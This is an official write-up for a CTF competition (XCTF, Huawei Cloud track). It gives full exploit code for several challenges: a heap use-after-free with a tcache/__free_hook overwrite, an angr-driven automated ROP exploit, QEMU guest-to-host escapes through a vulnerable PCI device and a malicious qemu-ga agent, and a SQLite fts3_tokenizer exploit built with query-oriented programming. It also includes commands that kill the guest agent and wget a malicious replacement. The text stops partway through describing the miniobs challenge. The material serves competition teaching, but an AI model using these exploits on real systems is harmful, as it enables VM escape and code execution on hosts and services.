XCTF高校网络安全专题挑战赛-华为云专场 官方Writeup

  XCTF联赛小秘       2021-01-06 16:54:04 3268  0

XCTF华为云专题赛 官方Writeup

题目源码:https://github.com/huaweictf/xctf_huaweicloud-qualifier-2020


PWN

cpp

题目存在uaf和free后输出,所以直接伪造一个unsortedbin泄露libc后tcache attack改free_hook即可。

from pwn import *

context(log_level='debug')
sh = process("chall")
e = ELF("libc-2.31.so")
gdb.attach(sh)

def make_unique(idx, data):
sh.sendline('0')
sh.sendlineafter('> ', data)
sh.sendlineafter('> ', str(idx))
sh.recvuntil('> ')

def release(idx, data):
sh.sendline('1')
sh.sendlineafter('> ', str(idx))
ret = sh.recvuntil('> ')
sh.sendline(data)
sh.recvuntil('> ')
return ret[:ret.find('\n')]

sh.recvuntil('> ')

for i in range(0, 0xc0):
make_unique(i, str(i))

release(0, '\x00' * 7)
leak = release(1, '\x00' * 7)
heap_addr = u64(leak+'\x00\x00')
print(hex(heap_addr))

release(2, p64(heap_addr + 0x58)[:7])
make_unique(0xc0, "cons")
make_unique(0xc1, p16(0x501))
leak = release(3, '\x00' * 7)

libc_addr = u64(leak+'\x00\x00') - 0x1ebbe0
print(hex(libc_addr))

release(6, '\x00' * 7)
release(7, p64(libc_addr + e.symbols["__free_hook"])[:7])

make_unique(0xc2, "/bin/sh")
make_unique(0xc3, p64(libc_addr + e.symbols["system"])[:7])

sh.sendline('1')
sh.sendlineafter('> ', str(0xc2))

sh.interactive()

game

用angr过约束,并寻找相关的利用gadget以及栈长度,栈溢出,具体看exp get_addr.py

import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output

def get_mid_str(data, b_str, e_str, s_pos = 0):
b_pos = data.find(b_str, s_pos)
if b_pos == -1:
return ""
b_pos += len(b_str)
e_pos = data.find(e_str, b_pos)

data = data[b_pos:e_pos]
#print s_pos, b_pos, e_pos
#print data
while b_str in data:
data = data[data.find(b_str)+len(b_str):]
#print data
return data

def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()

def do_angr_conf():
tmp_file_asm = do_command("objdump -d tmp_file.bin")

b_pos = tmp_file_asm.find("<__libc_start_main@plt>\n")

main_addr = get_mid_str(tmp_file_asm, " mov   $0x", ",%rdi\n", b_pos - 0x80)
#print main_addr
b_pos = tmp_file_asm.find("%s:"%main_addr)
b_pos = tmp_file_asm.find(" <atoi@plt>\n", b_pos)
deal_func_addr = get_mid_str(tmp_file_asm, "callq ", " <", b_pos)
print "start_addr =>", deal_func_addr

b_pos = tmp_file_asm.find("%s:"%deal_func_addr)
s_b_pos = tmp_file_asm.find(" callq ", b_pos - 0x100)
success = get_mid_str(tmp_file_asm, "$0x1,%eax\n ", ": ", s_b_pos - 0x80)
print "success =>", success
f_b_pos = tmp_file_asm.find("leave", b_pos)
fail = get_mid_str(tmp_file_asm, "$0x0,%eax\n ", ": ", f_b_pos - 0x80)
print "fail =>", fail

data_write = ""
data_write += deal_func_addr + "\n"
data_write += success + "\n"
data_write += fail + "\n"

write_file("angr_deal.conf", data_write)

def do_pwn_conf():
rop_asm = do_command("ROPgadget --binary tmp_file.bin")

rop_map = {}
rop_map["p_rdi_ret"] = "pop rdi ; ret"
rop_map["p_rsi_r15_ret"] = "pop rsi ; pop r15 ; ret"
rop_map["ret_addr"] = "ret"
rop_map["p_rbp_ret"] = "pop rbp ; ret"
rop_map["set_args_addr"] = "pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret"

rop_map_val = {}

mov_edx_rbp_p_rbp_ret = 0

for line in rop_asm.split("\n"):
items = line.split(" : ")
if len(items) != 2:
continue

for key in rop_map.keys():
if key not in rop_map_val.keys():
if items[1] == rop_map[key]:
rop_map_val[key] = int(items[0], 16)

if items[1].startswith("pop rbp ; mov byte ptr [rip + ") and items[1].endswith("], 1 ; ret"):
mov_edx_rbp_p_rbp_ret = int(items[0], 16) - 10


got_data = do_command("objdump -R tmp_file.bin")
alarm_got = 0

for line in got_data.split("\n"):
items = line.split(" ")
if len(items) < 3:
continue
got_name = items[-1].split("@")[0]
if got_name == "alarm":
alarm_got = int(items[0], 16)

tmp_file_asm = do_command("objdump -d tmp_file.bin")
b_pos = tmp_file_asm.find(" <read@plt>:\n")
read_plt = get_mid_str(tmp_file_asm, "\n", " <read@plt>:\n", b_pos - 0x18)
read_plt = int(read_plt, 16)
b_pos = tmp_file_asm.find(" <atoi@plt>:\n")
atoi_plt = get_mid_str(tmp_file_asm, "\n", " <atoi@plt>:\n", b_pos - 0x18)
atoi_plt = int(atoi_plt, 16)

b_pos = tmp_file_asm.find(" <read@plt>\n")
#print tmp_file_asm[b_pos-0x100:b_pos+0x10]
rbp_val = get_mid_str(tmp_file_asm, " lea ", "(%rbp),%rax", b_pos - 0x100)
#print rbp_val
rbp_val = int(rbp_val.strip(), 16)
print "rbp:", hex(rbp_val)

data_write = ""
data_write += "0x%x\n"%rop_map_val["p_rdi_ret"]
data_write += "0x%x\n"%rop_map_val["p_rsi_r15_ret"]
data_write += "0x%x\n"%rop_map_val["ret_addr"]
data_write += "0x%x\n"%rop_map_val["p_rbp_ret"]
data_write += "0x%x\n"%mov_edx_rbp_p_rbp_ret
data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1)
data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1 - 0x1a)
data_write += "0x%x\n"%alarm_got
data_write += "0x%x\n"%read_plt
data_write += "0x%x\n"%atoi_plt
data_write += "%s\n"%hex(rbp_val).replace("L", "").replace("l", "")


write_file("do_pwn_next.conf", data_write)



def do_work():
do_angr_conf()
do_pwn_conf()


do_work()

angr_deal.py

import angr
from angr import *
#from simuvex.procedures.stubs.UserHook import UserHook

binary_path = "./tmp_file.bin"

stack_addr = 0


def get_mem(state, addr, size):
mem = state.memory.load(addr, size)
#print mem
return state.se.eval(mem)

def gen_cond(state, index):
"""Returns a symbolic BitVector and contrains it to printable chars for a given state."""
bitvec = state.se.BVS('c%d'%index, 8, explicit_name=True)
return bitvec, state.se.And(bitvec >= 0x0, bitvec <= 0xff)


def read_file(filename, mode = "rb"):
file_r = open(filename, mode)
data = file_r.read()
file_r.close()
return data

def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()

def run_angr():

#proj = angr.Project(binary_path, load_options={'auto_load_libs': False})
proj = angr.Project(binary_path)#, load_options={'auto_load_libs': False})


data = read_file("angr_deal.conf")
if len(data) > 0:
items = data.split('\n')
start_addr = int(items[0], 16)
success = (int(items[1], 16), )
fail = (int(items[2], 16), )

print (start_addr)
print (success)
print (fail)

print hex(start_addr)
print hex(success[0])
print hex(fail[0])

else:
start_addr = 0x400B57
success = (0x400C45, )
fail = (0x400C6C, )

#"""
initial_state = proj.factory.blank_state(addr = start_addr)

r_edi = initial_state.se.BVS('edi', 32)
initial_state.regs.edi = r_edi

pg = proj.factory.simgr(initial_state, immutable=False)
pg.explore(find=success, avoid=fail)
found_state = pg.found[0]
result = found_state.se.eval(r_edi)
print hex(result)
write_file("passcode.conf", "%d"%result)
exit(0)

run_angr()

aeg_pwn.py

from zio import *

is_local = True
is_local = False

binary_path = "./no"

libc_file_path = ""
#libc_file_path = "./libc.so.6"

ip = "127.0.0.1"
port = 2333

if is_local:
target = binary_path
else:
target = (ip, port)

def d2v_x64(data):
return l64(data[:8].ljust(8, '\x00'))

def d2v_x32(data):
return l32(data[:4].ljust(4, '\x00'))

def rd_wr_str(io, info, buff):
io.read_until(info)
io.write(buff)

def rd_wr_int(io, info, val):
rd_wr_str(io, info, str(val) + "\n")


def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path})
return io

def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()

import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output

def read_file(filename, mode = "rb"):
file_r = open(filename, mode)
data = file_r.read()
file_r.close()
return data

set_args_addr = 0x400d2a
call_func_addr = 0x400d10

def gen_rop(func_got, arg1, arg2 = 0, arg3 = 0, ret_addr = None):
  global set_args_addr, call_func_addr
  #set_args_addr
  payload = ""
  payload += l64(set_args_addr)
  payload += l64(0)           #pop rbx = 0
  payload += l64(1)           #pop rbp
  payload += l64(func_got)     #pop r12
  payload += l64(arg3)         #pop r13
  payload += l64(arg2)         #pop r14
  payload += l64(arg1)         #pop r15
  if ret_addr != None:
      payload += l64(ret_addr)
  else:
      payload += l64(call_func_addr)

  return payload


def do_pwn_next(io):
global set_args_addr, call_func_addr
p_rdi_ret = 0x0000000000400d33
p_rsi_r15_ret = 0x0000000000400d31
p_rbp_ret = 0x400B55
ret_addr = 0x0000000000400b31

mov_edx_rbp_p_rbp_ret = 0x4008E8 #adc     [rbp+48h], edx

read_plt                   = 0x00000000004007e0
alarm_got                 = 0x0000000000602038
atoi_plt   = 0x400800

data = read_file("do_pwn_next.conf")
val_list = []
for line in data.strip().split("\n"):
val_list.append(int(line, 16))
print hex(int(line, 16))

p_rdi_ret = val_list[0]
p_rsi_r15_ret = val_list[1]
ret_addr = val_list[2]
p_rbp_ret = val_list[3]
mov_edx_rbp_p_rbp_ret = val_list[4]
set_args_addr = val_list[5]
call_func_addr = val_list[6]
alarm_got = val_list[7]
read_plt = val_list[8]
atoi_plt = val_list[9]

rbp_add_val = val_list[10]


bss_addr = 0x00601000 + 0xa00

pre_payload = ""
pre_payload += 'a'*(0-rbp_add_val)
pre_payload += 'b'*8

payload = ""
payload += l64(p_rdi_ret) + l64(0)
payload += l64(p_rsi_r15_ret) + l64(bss_addr)*2
payload += l64(read_plt)

payload += gen_rop(bss_addr, 0, 0, 0x5)
payload += gen_rop(bss_addr, 0, 0, 0x5)[:-8]
payload += l64(p_rbp_ret) + l64(alarm_got - 0x48)
payload += l64(mov_edx_rbp_p_rbp_ret) * 2

#set rax = 0x3b
payload += l64(p_rdi_ret) + l64(bss_addr + 0x20 + 0*2)
payload += l64(atoi_plt)
#execve("/bin/sh", 0, 0)
payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)
#payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)[:-8]
payload += "\n"

#io.gdb_hint()
#print repr(payload)
print hex(len(payload))

payload = pre_payload + payload
print payload[:-1].find("\n")

#io.gdb_hint()
io.write(payload)

#raw_input(":")

import time
time.sleep(0.5)
payload = ""
payload += l64(ret_addr)
payload += "/bin/sh\x00".ljust(0x18, '\x00')
payload += "59\x00"
payload += "\n"
io.write(payload)
time.sleep(0.5)


io.writeline("id")
io.writeline("ls -al")
io.writeline("cat flag 2>&1")
io.writeline("exit")
io.interact()

def pwn(io):
io.read_until("------------------data info------------------\n")
data = io.read_until("\n").strip()
data = data.decode("base64")
print(len(data))
write_file("tmp_file.bin", data)
#print repr(data.decode("base64")[:4])

io.read_until("code:")
do_command("chmod +x tmp_file.bin")
do_command("python get_addr.py")
do_command("python angr_deal.py")

data = read_file("passcode.conf")
#do_command("rm tmp_file.bin luckynum.conf")

data = data.strip()
io.writeline(data)

do_pwn_next(io)

io.interact()

io = get_io(target)
pwn(io)
exit(0)

fastexec

漏洞成因

新增fastexec设备,其结构体如下

typedef struct {
  PCIDevice pdev;
  MemoryRegion mmio;
  uint64_t execed;
  uint64_t offset;
  uint64_t size;
  uint64_t paddr;
  char buf[0x100000];
} FastexecState;

漏洞非常明显,给了选手基于设备结构体地址的任意地址写入

static void fastexec_mmio_write(void *opaque, hwaddr addr, uint64_t val,
              unsigned size)
{
  FastexecState *fastexec = opaque;

  if (size != 8) {
      return;
  }

  switch (addr) {
      case 0x08:
          fastexec->offset = val;
          break;
      case 0x10:
          fastexec->size = val;
          break;
      case 0x18:
          fastexec->paddr = val;
          break;
      case 0x20:
          if ((val == 0xf62d) && (fastexec->execed == 0)) {
              cpu_physical_memory_read(fastexec->paddr, fastexec->buf + fastexec->offset, fastexec->size);
              fastexec->execed = 1;
          }
          break;
  }
  return;
}

漏洞利用

Qemu会在内存中mmap一块内存作为TCG模块的代码缓冲区,这块内存是RWX的。

  1. 对于已经翻译的代码块,如果其未修改,Qemu会将其放置在该区域并缓存

  2. 对该区域写入SHELLCODE(加上滑板),会在Qemu调用这块缓存代码时触发shellcode执行

fastexec结构体的内存是通过mmap分配的,其与TCG代码缓冲区内存地址相近,因此考虑攻击TCG代码缓冲区。 核心利用代码如下

int main() {
srand(time(NULL));
struct stat file_info;
for (size_t idx = 0; idx < 0x20; idx ++) {
  resource_path[idx] = dev_get_path_from_id(0x4399, 0x4399, idx);
  fds[idx] = open(resource_path[idx], O_RDWR | O_SYNC);
  if (fds[idx] != -1) {
    int ret = stat(resource_path[idx], &file_info);
    MAP_SIZEs[idx] = file_info.st_size;
    void * map_try = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fds[idx], 0);
    if (map_try == (void *)-1) {
      printf("fd[%lu] --> pmio, size --> %016lx\n", idx, MAP_SIZEs[idx]);
      mmios[idx] = 0;
    }
    else {
      mmios[idx] = 1;
      printf("fd[%lu] --> mmio, size --> %016lx\n", idx, MAP_SIZEs[idx]);
      munmap(map_try, 0x1000);
    }
  }
}

void *info = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

void *pages[100];

for (size_t i = 0; i < 100; i ++) {
  pages[i] = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  memset(pages[i], '\x90', 0x1000);

  for(size_t j = 0x400; j < 0x1000; j += 0x300) {
    memcpy((char *)pages[i] + j, shellcode, sizeof(shellcode));
  }
  printf("%lx\n", virt2phys(pages[i]));
}

memset(info, '\x90', 0x1000);

size_t start = 0xffff;
for (size_t i = 0; i < 100 - 8; i ++) {
  size_t fail = 0;
  size_t phys[8];
  phys[0] = virt2phys(pages[i]);
  for (size_t j = 1; j < 8; j ++) {
    phys[j] = virt2phys(pages[i+j]);
    if (phys[j] - phys[j - 1] != 0x1000) {
      fail = 1;
      break;
    }
  }
  if (fail == 0) {
    start = i;
  }
}

printf("%lx\n", start);
assert (start != 0xffff);

do_write(virt2phys(pages[start]), 0xffffffffbcf00000, 0x8000);

return 0;
}

fastga

漏洞成因

宿主机使用了GAHelper程序对qemu-guest-agent的返回进行处理,并与之交互。 GAHelper遵循了qemu-guest-agent的api规范,同时客户机内的默认qemu-ga是官方的qga客户端程序。 攻击者可以使用自定义的qemu-ga程序发送不符合api规范的报文返回给GAHelper,从而造成GAHepler崩溃以及任意代码执行。 本题提出了一个新的攻击面,该攻击面包含了vm-tools在vmware中造成的虚拟机逃逸,以及qga在qemu虚拟机中的虚拟机逃逸风险,是CTF比赛中的首次创新。

漏洞细节

guest-file-read的api约定如下

Command: guest-file-read
Read from an open file in the guest. Data will be base64-encoded

Arguments:

handle: int
filehandle returned by guest-file-open

count: int (optional)
maximum number of bytes to read (default is 4KB)

Returns: GuestFileRead on success.

Since: 0.15.0

首先,GAHelper认为,读取的文件长度必定小于制定的长度,以及返回的count必定是真实文件读取长度。

cJSON *read_root = cJSON_CreateObject();
cJSON *read_arguments = cJSON_CreateObject();
cJSON_AddItemToObject(read_root, "execute", cJSON_CreateString("guest-file-read"));
cJSON_AddItemToObject(read_arguments, "handle", cJSON_CreateNumber(handle_id));
cJSON_AddItemToObject(read_arguments, "count", cJSON_CreateNumber(0x1000));
cJSON_AddItemToObject(read_root, "arguments", read_arguments);
char *tmp = cJSON_Print(read_root);
if (tmp == NULL) {
cJSON_Delete(read_root);
free(file_path);
return;
}
char *read_info = SendCommandReadRet(tmp);

从而造成了缓冲区溢出的漏洞

char b64dec_buf[0x1000] = {0};
if (buf_b64 != NULL) {
  base64_decode(buf_b64, strlen(buf_b64), b64dec_buf);
  printf( "content: %s\n", b64dec_buf);
}

尽管base64解码会缩短返回串长度,但是依然会造成栈溢出漏洞。

GuestFileRead *guest_file_read_unsafe(GuestFileHandle *gfh,
                                      int64_t count, Error **errp)
{
    GuestFileRead *read_data = NULL;
    guchar *buf;
    FILE *fh = gfh->fh;
    size_t read_count;

    /* explicitly flush when switching from writing to reading */
    if (gfh->state == RW_STATE_WRITING) {
        int ret = fflush(fh);
        if (ret == EOF) {
            error_setg_errno(errp, errno, "failed to flush file");
            return NULL;
        }
        gfh->state = RW_STATE_NEW;
    }

    if (count == 0x1000) { //payload 1
      size_t syscall_addr = 0x000000000040a14c;
      size_t pop_rdi      = 0x0000000000400636;
      size_t pop_rsi      = 0x000000000040ea95;
      size_t pop_rdx      = 0x0000000000454595;
      size_t pop_rax      = 0x000000000045453c;
      guchar *payload = g_malloc0(0x2070);
      memset(payload, '\x00', 0x2070);
      *(size_t *)(payload + 0x1078) = pop_rdi;
      *(size_t *)(payload + 0x1080) = 0;
      *(size_t *)(payload + 0x1088) = pop_rsi;
      *(size_t *)(payload + 0x1090) = 0x6caff0;
      *(size_t *)(payload + 0x1098) = pop_rdx;
      *(size_t *)(payload + 0x10a0) = 0x100;
      *(size_t *)(payload + 0x10a8) = 0x454580; //read
      *(size_t *)(payload + 0x10b0) = pop_rdi;
      *(size_t *)(payload + 0x10b8) = 0x6caff0;
      *(size_t *)(payload + 0x10c0) = pop_rsi;
      *(size_t *)(payload + 0x10c8) = 0;
      *(size_t *)(payload + 0x10d0) = pop_rdx;
      *(size_t *)(payload + 0x10d8) = 0;
      *(size_t *)(payload + 0x10e0) = pop_rax;
      *(size_t *)(payload + 0x10e8) = 59;
      *(size_t *)(payload + 0x10f0) = syscall_addr;
      read_data = g_new0(GuestFileRead, 1);
      read_data->count = 0x10f8;
      read_data->eof   = 0;
      int cnt = 0x10f8;
      read_data->buf_b64 = g_base64_encode(payload, cnt);
      return read_data;
    }

攻击者只需要伪造这个api实现函数,忽视读取长度,就可以实现栈溢出攻击。

攻击步骤

替换qemu-ga

杀死qga进程 kill -9 pidof qemu-ga 下载恶意qga wget ip:port/qemu-ga 植入恶意qga ./qemu-ga --daemonize -m virtio-serial -p /dev/vport0p1

执行supervisor程序

from pwn import *

local=0
pc=''
aslr=True
context.log_level="debug"
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
  #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
  p = process(pc,aslr=aslr)
  gdb.attach(p)
else:
  remote_addr=['127.0.0.1', 10007]
  p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s):
  print('\033[1;31;40m{s}\033[0m'.format(s=s))

def raddr(a=6):
  if(a==6):
      return u64(rv(a).ljust(8,'\x00'))
  else:
      return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
  ru("sock num > ")
  sn(str(sys.argv[1]))
  ru("Exit\n")
  pause()
  sl("2")
  ru("size > ")
  sl("256")
  ru("path > ")
  sn("/etc/passwd")
  ru("content: \n")
  sn("/bin/sh\x00")
  p.interactive()

flag{FastGA is module for Malicious qemu-ga attacking supervisor, not hard ~aha~?}

mysqli

漏洞

通过对比一下所给的 sqlite3.c 和 sqlite3_patch.c,可以发现做了如下两处修改:两处修改分别还原了 CVE-2017–6991和 CVE-2015–7036。


从patch我们可以看到,这个是和fts3_tokenizer有关的漏洞。fts3sqlite的一个不安全的特性,如果开启我们就直接劫持SQLite的控制流或者直接leak出sqlite的binary address。

select hex(fts3_tokenizer("simple")); //leak

select fts3_tokenizer("simple", x'4141414141414141'));
create virtual table vt using fts3 (content TEXT); // control flow hijack

如果我们可以执行任意的sql 查询, 那么这个题目会很简单。但是从附件中的cmd我们知道,我们只能上传一个数据库,然后server会在这个数据库查询一句:

select world from hello;

因此我们要利用query oriented programming来完成这个利用, 这个技术的思想是通过view的会改变原来的查询语句来完成类似于rop的功能。利用步骤如下:

  1. leak出堆地址和binary的地址

  2. 伪造一个假的tokenizer

  3. 覆盖tokenizer,劫持控制流

利用

具体详见exp。

import os
import random
import string
import sqlite3
#from pwn import *


def gen_int2hex_map():
   conn.execute("CREATE TABLE hex_map (int INTEGER, val BLOB);")
   for i in range(256):
       conn.execute("INSERT INTO hex_map VALUES ({}, x'{}');".format(i, ''.join('%02x' % i)))


def math_with_const(output_view, table_operand, operator, const_operand):
   return "CREATE VIEW {} AS SELECT ( (SELECT * FROM {} ) {} ( SELECT '{}') ) as col;".format(output_view,table_operand, operator,const_operand)


def p64(output_view, input_view):
   return """CREATE VIEW {0} AS SELECT cast(
  (SELECT val FROM hex_map WHERE int = (((select col from {1}) / 1) % 256))||
  (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 8)) % 256))||
  (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 16)) % 256))||
  (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 24)) % 256))||
  (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 32)) % 256))||
  (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 40)) % 256))||
  (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 48)) % 256))||
  (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 56)) % 256)) as blob) as col;""".format(output_view, input_view)


def u64(output_view, input_view):
   return """CREATE VIEW {0} AS SELECT (
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -1, 1)) -1) * (1 << 0))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -2, 1)) -1) * (1 << 4))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -3, 1)) -1) * (1 << 8))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -4, 1)) -1) * (1 << 12))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -5, 1)) -1) * (1 << 16))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -6, 1)) -1) * (1 << 20))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -7, 1)) -1) * (1 << 24))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -8, 1)) -1) * (1 << 28))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -9, 1)) -1) * (1 << 32))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -10, 1)) -1) * (1 << 36))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -11, 1)) -1) * (1 << 40))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -12, 1)) -1) * (1 << 44))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -13, 1)) -1) * (1 << 48))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -14, 1)) -1) * (1 << 52))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -15, 1)) -1) * (1 << 56))) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -16, 1)) -1) * (1 << 60)))) as col;""".format(output_view, input_view)


def fake_obj(output_view, ptr_list):
   if not isinstance(ptr_list, list):
           raise TypeError('fake_obj() ptr_list is not a list')
   from_string = [i.split(".")[0] for i in ptr_list if not i.startswith("x")]
   print(from_string)
   from_string[0] = "FROM " + from_string[0]
   ptrs = "||".join(ptr_list)
   return """CREATE VIEW {0} AS SELECT {1} {2};""".format(output_view, ptrs, " JOIN ".join(from_string))

def heap_spray(output_view, spray_count, sprayed_obj):
   return """CREATE VIEW {0} AS SELECT replace(hex(zeroblob({1})), "00", (SELECT * FROM {2}));""".format(output_view, spray_count, sprayed_obj)

def flip_end(output_view, input_view):
   return """CREATE VIEW {0} AS SELECT
              SUBSTR((SELECT col FROM {1}), -2, 2)||
              SUBSTR((SELECT col FROM {1}), -4, 2)||
              SUBSTR((SELECT col FROM {1}), -6, 2)||
              SUBSTR((SELECT col FROM {1}), -8, 2)||
              SUBSTR((SELECT col FROM {1}), -10, 2)||
              SUBSTR((SELECT col FROM {1}), -12, 2)||
              SUBSTR((SELECT col FROM {1}), -14, 2)||
              SUBSTR((SELECT col FROM {1}), -16, 2) AS col;""".format(output_view, input_view)


def gen_dummy_DDL_stmt(stmt_len):
   table_name = "".join(random.choice(string.ascii_lowercase) for i in range(6))
   base = ("CREATE TABLE {} (a text)".format(table_name))
   assert len(base) < stmt_len
   ret = "CREATE TABLE {} (a{} text)".format(table_name, 'a' * (stmt_len - len(base)))
   return ret


def patch(db_file, old, new):
   assert (len(old) == len(new))
   with open(db_file, "rb") as rfd:
       content = rfd.read()
       offset = content.find(old)
       assert (offset > 100)  # offset found and bigger then sqlite header
       patched = content[:offset] + new + content[offset + len(old):]
   with open(db_file, "wb") as wfd:
       wfd.write(patched)


if __name__ == "__main__":
   DB_FILENAME = 'malicious.db'
   os.system("rm %s" % DB_FILENAME)
   SIMPLE_MODULE_OFFSET =  str(0x15c3a0)
   SYSTEM_ADDRESS = str(0xe8d0)
   gadget = str(0x40E62) # call qword ptr [rax + 0x18]
   gadget2 = str(0x607f9) # mov rdi, rax ; call qword ptr [rax + 0x80]

   # HEAP_OFFSET = str(0xb32fb0 + 0x20 + 0x70)
   HEAP_OFFSET = str(0xb85a80 + 0x6e480 + 0x80)
   
   conn = sqlite3.connect(DB_FILENAME)

   conn.execute("PRAGMA page_size = 65536;")  # long DDL statements tend to split with default page size.
   gen_int2hex_map()
   qop_chain = []

   print("[+] Generating binary leak statements")

   
   qop_chain.append('CREATE VIRTUAL TABLE leak_table USING FTS3(col);')
   qop_chain.append('INSERT INTO leak_table VALUES("haha");')
   qop_chain.append('CREATE VIEW raw_heap_leak AS SELECT leak_table AS col FROM leak_table;')
   qop_chain.append('CREATE VIEW le_heap_leak AS SELECT hex(col) AS col FROM raw_heap_leak;')
   qop_chain.append(flip_end('heap_leak', 'le_heap_leak'))
   qop_chain.append(u64('u64_heap_leak', 'heap_leak'))
   qop_chain.append(math_with_const('u64_heap_spray', 'u64_heap_leak', '+', HEAP_OFFSET))


   qop_chain.append('CREATE VIEW le_bin_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;')
   qop_chain.append(flip_end('bin_leak', 'le_bin_leak'))
   qop_chain.append(u64('u64_bin_leak', 'bin_leak'))

   
   print("[+] Generating offsets calculation statements")
   qop_chain.append(math_with_const('u64_libsqlite_base', 'u64_bin_leak', '-', SIMPLE_MODULE_OFFSET))

   qop_chain.append(math_with_const('u64_system_plt', 'u64_libsqlite_base', '+', SYSTEM_ADDRESS))
   qop_chain.append(math_with_const('u64_gadget', 'u64_libsqlite_base', '+', gadget))
   qop_chain.append(math_with_const('u64_gadget2', 'u64_libsqlite_base', '+', gadget2))
   qop_chain.append(p64('p64_system_plt', 'u64_system_plt'))
   qop_chain.append(p64('p64_gadget', 'u64_gadget'))
   qop_chain.append(p64('p64_gadget2', 'u64_gadget2'))
   qop_chain.append(p64('p64_heap', 'u64_heap_spray'))


   print("[+] Generating Heap Spray statements")

   payload_list = []
   siz = 0x100
   payload = 'T'*siz
   for i in range(0, siz, 8):
       s = "x'%s'" % payload[i: i + 8].encode('hex')
       payload_list.append(s)

   cmd = "cat fl*\x00"
   payload_list[0] = "x'%s'" % cmd.encode('hex')
   payload_list[1] = ("p64_gadget.col")
   payload_list[3] = ("p64_gadget2.col")
   payload_list[16] = ("p64_system_plt.col")
   qop_chain.append(fake_obj('fake_tokenizer', payload_list))

   qop_chain.append(heap_spray('heap_spray', 100000, 'fake_tokenizer'))
   qop_chain.append("create virtual table exploit using fts3(col, tokenize = 'simple');")
   qop_chain.append("create virtual table trigger using fts3(col, tokenize = 'simple');")
   qop_chain.append("drop table exploit_content;")
   overwrite_view = "overwrite_simple_tokenizer"
   qop_chain.append("create view %s(col) as select fts3_tokenizer(\"simple\", p64_heap.col) from p64_heap;" % overwrite_view)
   qop_chain.append("create view exploit_content(docid, c0col) as select 0 , (select col from trigger where col match 'xxxx');")
   overwrite_sql = "select * from %s" % overwrite_view
   qop_chain.append("create view hello(world) as select ((select * from heap_spray) + (select * from overwrite_simple_tokenizer) + (select * from exploit));")
   

   print("[+] Generating dummy DDL statements to be patched")
   dummies = []
   for q_stmt in qop_chain:
       conn.execute(q_stmt)

   conn.commit()
   print("[+] All Done")

miniobs

背景

对象存储服务(Object Storage Service,OBS)是一个基于对象的海量存储服务,为客户提供海量、安全、高可靠、低成本的数据存储能力。 go语言的栈溢出之前有出过类似的3道题目,都是修改的返回地址。这里想使用一个新的利用点(其实差别也不大أ‿أ)。 本题基于以上两点,使用go实现了一个mini版的OBS Browser+,包含3个功能,查看桶信息、上传文件到桶、查看桶文件内容。

赛题逻辑

由于官网提供了go语言的sdk,所以实现起来比较方便。 一、查看桶信息(就是个查看功能,和利用无关) 二、上传文件到桶,这里的逻辑是:

1·输入你想上传的文件名称
2·将输入的内容拷贝到栈上
3·过滤掉.防止路径穿越(也许有别的绕过方法?)
4·将输入的文件名称和/tmp/拼接作为实际获取的文件
5·随机生成RSA密钥对,使用公钥加密上传文件内容并保存在/tmp目录下
6·将加密的上传文件上传到OBS桶上

三、查看桶文件内容,输入你想要访问的桶文件名称,输出文件内容。 四、后门upload函数,这个上传文件函数和上述的功能区别在于:

1、没有过滤.
